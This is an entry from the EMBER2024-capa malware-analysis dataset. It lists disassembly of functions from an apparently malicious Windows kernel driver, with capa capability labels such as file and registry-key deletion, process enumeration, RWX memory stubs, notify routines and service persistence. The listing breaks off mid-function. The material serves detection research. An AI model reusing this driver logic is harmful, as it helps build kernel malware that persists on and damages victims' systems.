joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015c8
Capabilities:
Delete file

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
and qword [rax - 0x58], 0
lea r9, [rbp + 0x17]
and qword [rbp + 0x2f], 0
lea r8, [rbp + 0x27]
mov dword [rax - 0x60], 0x100
xorps xmm0, xmm0
and qword [rax - 0x68], 0
mov ebx, 0x110000
and dword [rax - 0x70], 0
mov edx, ebx
and dword [rax - 0x78], 0
and qword [rax - 0x80], 0
mov dword [rsp + 0x40], 0x60
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 4
mov qword [rbp + 0x37], rcx
lea rcx, [rbp + 0x67]
mov dword [rsp + 0x28], pe_nt_image_headers64
and qword [rsp + 0x20], 0
mov dword [rbp + 0x27], 0x30
mov dword [rbp + 0x3f], 0x240
movdqu xmmword [rbp + 0x47], xmm0
call qword [sym.imp.ntoskrnl.exe_IoCreateFileEx]
test eax, eax
js 0x1400016e8
mov r8, qword [0x140006048]
lea rax, [rbp + 0x6f]
and qword [rsp + 0x30], 0
xor r9d, r9d
mov rcx, qword [rbp + 0x67]
mov edx, ebx
mov qword [rsp + 0x28], rax
mov r8, qword [r8]
mov dword [rsp + 0x20], 0x656c6946
call qword [sym.imp.ntoskrnl.exe_ObReferenceObjectByHandleWithTag]
xor edx, edx
mov edi, eax
test eax, eax
jns 0x1400016a7
mov rcx, qword [rbp + 0x67]
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
jmp 0x1400016e6
mov rax, qword [rbp + 0x6f]
mov rcx, qword [rax + 0x28]
and qword [rcx + 0x10], 0
call qword [sym.imp.ntoskrnl.exe_MmFlushImageSection]
mov rcx, qword [rbp + 0x6f]
mov bl, al
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rbp + 0x67]
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_ObCloseHandle]
test bl, bl
je 0x1400016e6
lea rcx, [rbp + 0x27]
call qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
mov edi, eax
test eax, eax
jns 0x1400016e8
mov eax, edi
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret

Function at 0x1400018e8
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
xor edx, edx
lea rcx, [0x140002220]
call qword [sym.imp.ntoskrnl.exe_PsSetCreateProcessNotifyRoutine]
test eax, eax
jns 0x140001944
and qword [rsp + 0x50], 0
lea rcx, [0x140002220]
mov byte [0x1400070e8], 1
call qword [sym.imp.ntoskrnl.exe_PsSetCreateThreadNotifyRoutine]
and qword [rsp + 0x30], 0
lea rax, [0x140001550]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x50]
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_PsCreateSystemThread]
add rsp, 0x48
ret
Function at 0x140001c84
Capabilities:
Create device object

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x578]
sub rsp, 0x670
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x560], rax
mov rdi, rcx
call fcn.140002644
mov r9d, 0x20
lea rcx, [rbp + 0x360]
mov r8d, 0x162543
mov edx, eax
mov ebx, eax
call fcn.140004d1c
mov ecx, dword [0x140005918]
movups xmm0, xmmword [0x140005900]
mov dword [rsp + 0x78], ecx
lea rcx, [rsp + 0x60]
movsd xmm1, qword [0x140005910]
sub rcx, 2
xor esi, esi
movaps xmmword [rsp + 0x60], xmm0
movsd qword [rsp + 0x70], xmm1
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140001d06
lea r8, [rbp + 0x360]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x140001d18
lea rcx, [rsp + 0x60]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140001d32
mov eax, dword [0x140005920]
mov r9d, 0x20
mov dword [rcx], eax
mov r8d, 0x123456
lea rcx, [rbp + 0x360]
mov edx, ebx
call fcn.140004d1c
movups xmm0, xmmword [0x140005930]
movzx eax, word [0x140005940]
lea rcx, [rbp + 0x160]
mov word [rbp + 0x170], ax
sub rcx, 2
movaps xmmword [rbp + 0x160], xmm0
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140001d84
lea r8, [rbp + 0x360]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x140001d96
lea rdx, [rbp + 0x160]
sub rdx, 2
lea rdx, [rdx + 2]
cmp word [rdx], si
jne 0x140001db2
mov eax, dword [0x140005920]
lea rcx, [rsp + 0x40]
mov dword [rdx], eax
lea rdx, [rbp + 0x160]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [0x1400070c8]
mov r9d, 0x22
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x40]
mov byte [rsp + 0x28], sil
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x100
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov rax, qword [0x1400070c8]
test rax, rax
je 0x140001e40
btr dword [rax + 0x30], 7
lea rdx, [rsp + 0x40]
mov rax, qword [0x1400070c8]
lea rcx, [rsp + 0x50]
or dword [rax + 0x30], 0x10
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
xor eax, eax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.140005270
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140002144
Capabilities:
Find process by pid

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x40], rax
cmp byte [0x1400070ea], 1
je 0x140002200
and qword [rsp + 0x20], 0
lea rdx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x140002200
mov rcx, qword [rsp + 0x20]
call sub.ntoskrnl.exe_PsGetProcessImageFileName
test rax, rax
je 0x140002200
xor ecx, ecx
lea rdx, [0x140005990]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], ecx
movups xmm0, xmmword [rax]
lea r8d, [rcx + 0xc]
lea rcx, [rsp + 0x28]
movdqu xmmword [rsp + 0x28], xmm0
call fcn.140005290
test eax, eax
jne 0x1400021f0
cmp byte [0x1400070ea], al
jne 0x1400021f0
mov byte [0x1400070ea], 1
lea rcx, [0x140001f30]
mov byte [0x1400070e9], 1
mov rax, qword gs:[0x188]
mov qword [0x1400070d0], rax
call fcn.140004ce4
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x140002200
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140005270
add rsp, 0x58
ret

Function at 0x1400022c0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
and qword [rbp + 0x18], 0
lea rdx, [0x140009660]
and qword [rbp + 0x10], 0
lea rcx, [rbp - 0x50]
mov byte [0x1400070e9], 1
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and qword [rbp - 0x28], 0
lea rax, [rbp - 0x50]
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
lea r8, [rbp - 0x30]
mov dword [rbp - 0x30], 0x30
mov edx, 0xf003f
mov dword [rbp - 0x18], 0x240
lea rcx, [rbp + 0x10]
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov ebx, eax
test eax, eax
js 0x1400023b3
cmp qword [rbp + 0x10], 0
je 0x1400023b3
lea rdx, [0x1400058e0]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rax, qword [rbp + 0x10]
lea r8, [rbp - 0x30]
mov qword [rbp - 0x28], rax
lea rcx, [rbp + 0x18]
lea rax, [rbp - 0x40]
mov dword [rbp - 0x30], 0x30
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
mov edx, 0xf003f
mov dword [rbp - 0x18], 0x240
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x14000239d
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x14000239d
call qword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntoskrnl.exe_ZwDeleteKey]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov ebx, eax
call fcn.140001700
mov eax, ebx
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rbp
ret
Function at 0x14000265c
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], r9
sub rsp, 0x68
and qword [r11 - 0x18], 0
test rdx, rdx
je 0x1400026ab
and qword [r11 - 0x28], 0
lea rax, [r11 + 0x20]
and qword [r11 - 0x10], 0
xor r9d, r9d
mov qword [r11 - 0x30], rax
lea rax, [r11 - 0x18]
mov dword [r11 - 0x38], r8d
xor r8d, r8d
mov qword [r11 - 0x40], rdx
xor edx, edx
mov qword [r11 - 0x48], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
test eax, eax
jne 0x1400026ab
mov eax, dword [rsp + 0x58]
jmp 0x1400026ad
xor eax, eax
add rsp, 0x68
ret

Function at 0x1400026b4
Capabilities:
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x47], rax
and qword [rbp - 0x29], 0
lea rcx, [rbp - 1]
xor eax, eax
xor edx, edx
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x11], rax
lea ebx, [rax + 0x30]
mov qword [rbp - 9], rax
mov r8d, ebx
call fcn.140005440
lea rdx, [0x1400059a0]
lea rcx, [rbp - 0x21]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and qword [rbp + 7], 0
lea rax, [rbp - 0x21]
mov dword [rbp - 1], ebx
lea r9, [rbp - 0x11]
xorps xmm0, xmm0
mov dword [rsp + 0x28], 0x20
mov ebx, 1
mov qword [rbp + 0xf], rax
lea r8, [rbp - 1]
mov dword [rsp + 0x20], ebx
mov edx, 0x100000
mov dword [rbp + 0x17], 0x40
lea rcx, [rbp - 0x29]
movdqu xmmword [rbp + 0x1f], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenFile]
test eax, eax
js 0x140002832
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x140002832
lea r9d, [rbx + 0x17]
mov dword [rsp + 0x20], 5
lea r8, [rbp + 0x2f]
lea rdx, [rbp - 0x11]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
test eax, eax
je 0x14000279f
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x140002832
mov edi, dword [rbp + 0x37]
mov r8d, 0x434f4d4d
mov ecx, ebx
lea edx, [rdi + 0x400]
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rcx, qword [rbp - 0x29]
mov rsi, rax
test rax, rax
je 0x140002794
xor r9d, r9d
mov r8d, edi
mov rdx, rax
call fcn.14000265c
mov rcx, qword [rbp - 0x29]
mov ebx, eax
call qword [sym.imp.ntoskrnl.exe_ZwClose]
cmp ebx, edi
je 0x1400027ed
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x140002832
mov ebx, dword [rsi]
lea rdx, [rsi + 8]
mov edi, dword [rsi + 4]
lea rcx, [0x140005a00]
mov r8d, ebx
call fcn.140002858
lea rdx, [rsi + 8]
mov r8d, edi
add rdx, rbx
lea rcx, [0x140005a40]
call fcn.140002858
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea rcx, [0x140005a90]
call fcn.1400050e8
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140005270
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140002858
Capabilities:
Delete file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xb0
mov rsi, rdx
mov edi, r8d
mov rdx, rcx
lea rcx, [rbp + 7]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
xor r14d, r14d
xor eax, eax
mov dword [rbp + 0x1b], r14d
mov dword [rbp + 0x33], r14d
mov qword [rbp - 9], rax
mov qword [rbp - 1], rax
mov qword [rbp + 0x7f], r14
cmp qword [rbp + 0xf], r14
je 0x14000296c
lea rax, [rbp + 7]
mov dword [rbp + 0x17], 0x30
xorps xmm0, xmm0
mov qword [rbp + 0x27], rax
lea rcx, [rbp + 0x17]
mov qword [rbp + 0x1f], r14
movdqu xmmword [rbp + 0x37], xmm0
mov dword [rbp + 0x2f], 0x40
call qword [sym.imp.ntoskrnl.exe_ZwDeleteFile]
mov dword [rsp + 0x50], r14d
lea r9, [rbp - 9]
mov qword [rsp + 0x48], r14
lea r8, [rbp + 0x17]
mov dword [rsp + 0x40], 0x960
lea rcx, [rbp + 0x7f]
mov dword [rsp + 0x38], 3
mov edx, 0x40100080
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov rcx, qword [rbp + 0x7f]
mov ebx, eax
test eax, eax
js 0x14000295c
test rcx, rcx
je 0x140002956
mov qword [rsp + 0x40], r14
lea rax, [rbp - 9]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwWriteFile]
mov rcx, qword [rbp + 0x7f]
mov ebx, eax
test ebx, ebx
cmovns ebx, r14d
test rcx, rcx
je 0x140002967
call qword [sym.imp.ntoskrnl.exe_ZwClose]
test ebx, ebx
sete al
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400033bc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
xor esi, esi
mov dword [rsp + 0x28], 0x40
mov eax, 0x1000
mov qword [rbp + 0x30], rsi
mov rbx, rdx
mov qword [rbp + 0x38], rax
mov rdi, rcx
mov qword [rbp - 0x20], rsi
lea rdx, [rbp + 0x30]
mov qword [rbp - 0x14], rsi
or rcx, 0xffffffffffffffff
mov dword [rsp + 0x20], eax
lea r9, [rbp + 0x38]
mov dword [rbp - 0x30], 0x28ec8348
xor r8d, r8d
mov dword [rbp - 0x2c], 0x1111b948
mov dword [rbp - 0x28], 0x11111111
mov dword [rbp - 0x24], 0xb8481111
mov dword [rbp - 0x18], 0xba48d0ff
mov dword [rbp - 0xc], 0x1e7e02c7
mov dword [rbp - 8], 0x8348c037
mov word [rbp - 4], 0x28c4
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140003498
mov rcx, qword [rbp + 0x30]
mov eax, dword [rbp - 8]
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp - 0x10]
movups xmmword [rcx + 0x10], xmm1
movsd qword [rcx + 0x20], xmm0
mov dword [rcx + 0x28], eax
movzx eax, word [rbp - 4]
mov word [rcx + 0x2c], ax
mov byte [rcx + 0x2e], 0xc3
mov rax, qword [rbp + 0x30]
mov qword [rax + 6], rbx
mov rax, qword [rbp + 0x30]
mov qword [rax + 0x10], rdi
mov rcx, qword [rbp + 0x30]
lea rax, [rcx + 0x5e8]
mov qword [rcx + 0x1c], rax
mov rax, qword [rbp + 0x30]
jmp 0x14000349a
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003a9c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
mov eax, 0x1000
mov dword [rsp + 0x28], 0x40
mov rdi, rdx
mov qword [rbp + 0x38], rax
mov rbx, rcx
mov dword [rsp + 0x20], eax
xor esi, esi
mov dword [rbp - 0x20], 0x68
lea rdx, [rbp + 0x30]
mov qword [rbp + 0x30], rsi
or rcx, 0xffffffffffffffff
mov dword [rbp - 0x1c], 0xe800
lea r9, [rbp + 0x38]
mov dword [rbp - 0x18], 0xba0000
xor r8d, r8d
mov dword [rbp - 0x14], 0xc7000000
mov dword [rbp - 0x10], 0x371e7e02
mov word [rbp - 0xc], 0xc3c0
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140003b4d
mov rcx, qword [rbp + 0x30]
mov eax, dword [rbp - 0x10]
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0xc]
mov word [rcx + 0x14], ax
mov rax, qword [rbp + 0x30]
mov dword [rax + 1], edi
mov rax, qword [rbp + 0x30]
sub ebx, eax
sub ebx, 0xa
mov dword [rax + 6], ebx
mov rcx, qword [rbp + 0x30]
lea eax, [rcx + 0x5e8]
mov dword [rcx + 0xb], eax
mov rax, qword [rbp + 0x30]
jmp 0x140003b4f
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x140003db0
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r15, rdx
mov r14, rcx
mov ebp, 0x100000
mov r8d, 0x656e6f42
mov edx, ebp
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
xor ebx, ebx
mov rsi, rax
mov rdi, rax
test r15, r15
jne 0x140003dfa
mov eax, 0xc000000d
jmp 0x140003e90
test rsi, rsi
jne 0x140003e09
mov eax, 0xc0000017
jmp 0x140003e90
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
lea ecx, [r9 + 5]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov ebp, eax
test eax, eax
js 0x140003e80
mov ebp, 0xc0000225
cmp qword [rsi + 0x50], r14
je 0x140003e3c
mov eax, dword [rdi]
test eax, eax
je 0x140003e80
add rdi, rax
cmp qword [rdi + 0x50], r14
jne 0x140003e2d
mov edx, dword [rdi + 4]
test edx, edx
je 0x140003e80
lea rcx, [rdi + 0x130]
mov rax, qword gs:[0x188]
cmp qword [rcx], rax
jne 0x140003e64
inc ebx
add rcx, 0x50
cmp ebx, edx
jb 0x140003e4a
jmp 0x140003e80
mov eax, ebx
mov rdx, r15
lea rcx, [rax + rax*4]
add rcx, rcx
mov rcx, qword [rdi + rcx*8 + 0x130]
call qword [sym.imp.ntoskrnl.exe_PsLookupThreadByThreadId]
mov ebp, eax
mov edx, 0x656e6f42
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebp
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x1400049e4
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
and dword [rsp + 0x30], 0
lea r9, [rsp + 0x30]
xor edi, edi
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 5]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140004a5b
mov edx, eax
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rbx, rax
test rax, rax
je 0x140004a5b
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
lea ecx, [rdi + 5]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x140004a4c
mov edx, dword [rbx]
mov rcx, rbx
add rcx, rdx
inc edi
mov edx, dword [rcx]
test edx, edx
jne 0x140004a41
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
jmp 0x140004a5d
xor eax, eax
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140004be4
Capabilities:
Enumerate processes via ntquerysysteminformation
Find process by pid
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x20
and dword [rax + 0x10], 0
lea r9, [rax + 0x10]
and qword [rax + 0x18], 0
xor edx, edx
mov rsi, rcx
xor r8d, r8d
lea ebx, [rdx + 5]
mov ecx, ebx
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004cd5
mov edx, dword [rsp + 0x48]
xor ecx, ecx
mov r8d, 0x726f6f74
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rdi, rax
test rax, rax
je 0x140004cd5
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x140004cc7
mov rbx, rdi
mov rcx, qword [rbx + 0x50]
lea rdx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x140004ca5
mov rcx, qword [rsp + 0x50]
call sub.ntoskrnl.exe_PsGetProcessImageFileName
mov rcx, qword [rsp + 0x50]
mov rbp, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
and qword [rsp + 0x50], 0
or r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], 0
jne 0x140004c8c
mov rdx, rsi
mov rcx, rbp
call fcn.140005290
test eax, eax
je 0x140004cb0
mov eax, dword [rbx]
test eax, eax
je 0x140004cc7
add rbx, rax
jmp 0x140004c57
mov rbx, qword [rbx + 0x50]
mov edx, 0x726f6f74
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, rbx
jmp 0x140004cd7
mov edx, 0x726f6f74
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret

Function at 0x140004d1c
Capabilities:
Hash data with md5

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x10], rax
mov r10d, edx
mov dword [rsp], 0x67452301
xor r10d, r8d
mov dword [rsp + 4], 0xefcdab89
xor edi, edi
mov dword [rsp + 8], 0x98badcfe
mov eax, r9d
mov dword [rsp + 0xc], 0x10325476
cdq
mov r11, rcx
sub eax, edx
mov r8d, edi
sar eax, 1
mov ebx, eax
test eax, eax
jle 0x140004dbb
mov edx, edi
mov ecx, r8d
and ecx, 0x80000003
jge 0x140004d84
dec ecx
or ecx, 0xfffffffc
inc ecx
movsxd rax, ecx
inc r8d
xor r10d, dword [rsp + rax*4]
mov al, r10b
shr al, 4
movzx ecx, al
mov al, r10b
add cx, 0x42
and al, 0xf
mov word [rdx + r11], cx
movzx ecx, al
add cx, 0x61
mov word [rdx + r11 + 2], cx
add rdx, 4
cmp r8d, ebx
jl 0x140004d72
movsxd rax, r9d
mov word [r11 + rax*2], di
mov rcx, qword [rsp + 0x10]
xor rcx, rsp
call fcn.140005270
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140004ddc
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x80
mov rsi, rcx
mov ebx, 0x30
mov r8d, ebx
lea rcx, [rbp - 0x30]
xor edx, edx
call fcn.140005440
and qword [rbp + 0x28], 0
lea rdx, [0x140005e20]
and dword [rbp + 0x20], 0
lea rcx, [rbp - 0x50]
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [0x140005e50]
lea rcx, [rbp - 0x40]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and dword [rsi], 0
lea rax, [rbp - 0x40]
and qword [rbp - 0x28], 0
lea r8, [rbp - 0x30]
xorps xmm0, xmm0
mov qword [rbp - 0x20], rax
mov edx, 0x20019
mov dword [rbp - 0x30], ebx
lea rcx, [rbp + 0x28]
mov dword [rbp - 0x18], 0x240
movdqu xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov edi, eax
test eax, eax
js 0x140004f24
mov rcx, qword [rbp + 0x28]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea r8d, [rbx - 0x2e]
and dword [rsp + 0x20], 0
lea rdx, [rbp - 0x50]
xor r9d, r9d
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov edi, eax
cmp eax, 0xc0000023
jne 0x140004f24
mov edx, dword [rbp + 0x20]
lea ecx, [rbx - 0x2f]
mov r8d, 0x5f6b6973
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
je 0x140004f24
mov r8d, dword [rbp + 0x20]
xor edx, edx
mov rcx, rax
call fcn.140005440
mov ecx, dword [rbp + 0x20]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x50]
mov dword [rsp + 0x20], ecx
mov r9, rbx
mov rcx, qword [rbp + 0x28]
mov r8d, 2
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov edi, eax
test eax, eax
js 0x140004f19
cmp dword [rbx + 4], 4
jne 0x140004f19
cmp dword [rbx + 8], 4
mov edi, 0xc0000001
jne 0x140004f19
mov eax, dword [rbx + 0xc]
xor edi, edi
mov dword [rsi], eax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rcx, qword [rbp + 0x28]
test rcx, rcx
je 0x140004f33
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov rbx, qword [rsp + 0xb0]
mov eax, edi
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x140004f48
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x60]
lea r8d, [rdx + 0x30]
call fcn.140005440
movaps xmm0, xmmword [0x140005ea0]
lea rdx, [rbp - 0x70]
movaps xmm1, xmmword [0x140005eb0]
xor eax, eax
movaps xmmword [rbp - 0x70], xmm0
xor edi, edi
movaps xmm0, xmmword [0x140005ec0]
sub rdx, 2
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [0x140005ee0]
movaps xmmword [rbp - 0x60], xmm1
movaps xmm1, xmmword [0x140005ed0]
movaps xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x140005f00]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
movzx eax, word [0x140005f08]
movaps xmmword [rbp - 0x40], xmm1
movaps xmm1, xmmword [0x140005ef0]
movsd qword [rbp - 0x10], xmm0
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], 4
movaps xmmword [rbp - 0x20], xmm1
mov word [rbp - 8], ax
lea rdx, [rdx + 2]
cmp word [rdx], di
jne 0x14000500d
xor ecx, ecx
movzx eax, word [rbx + rcx*2]
mov word [rdx + rcx*2], ax
inc rcx
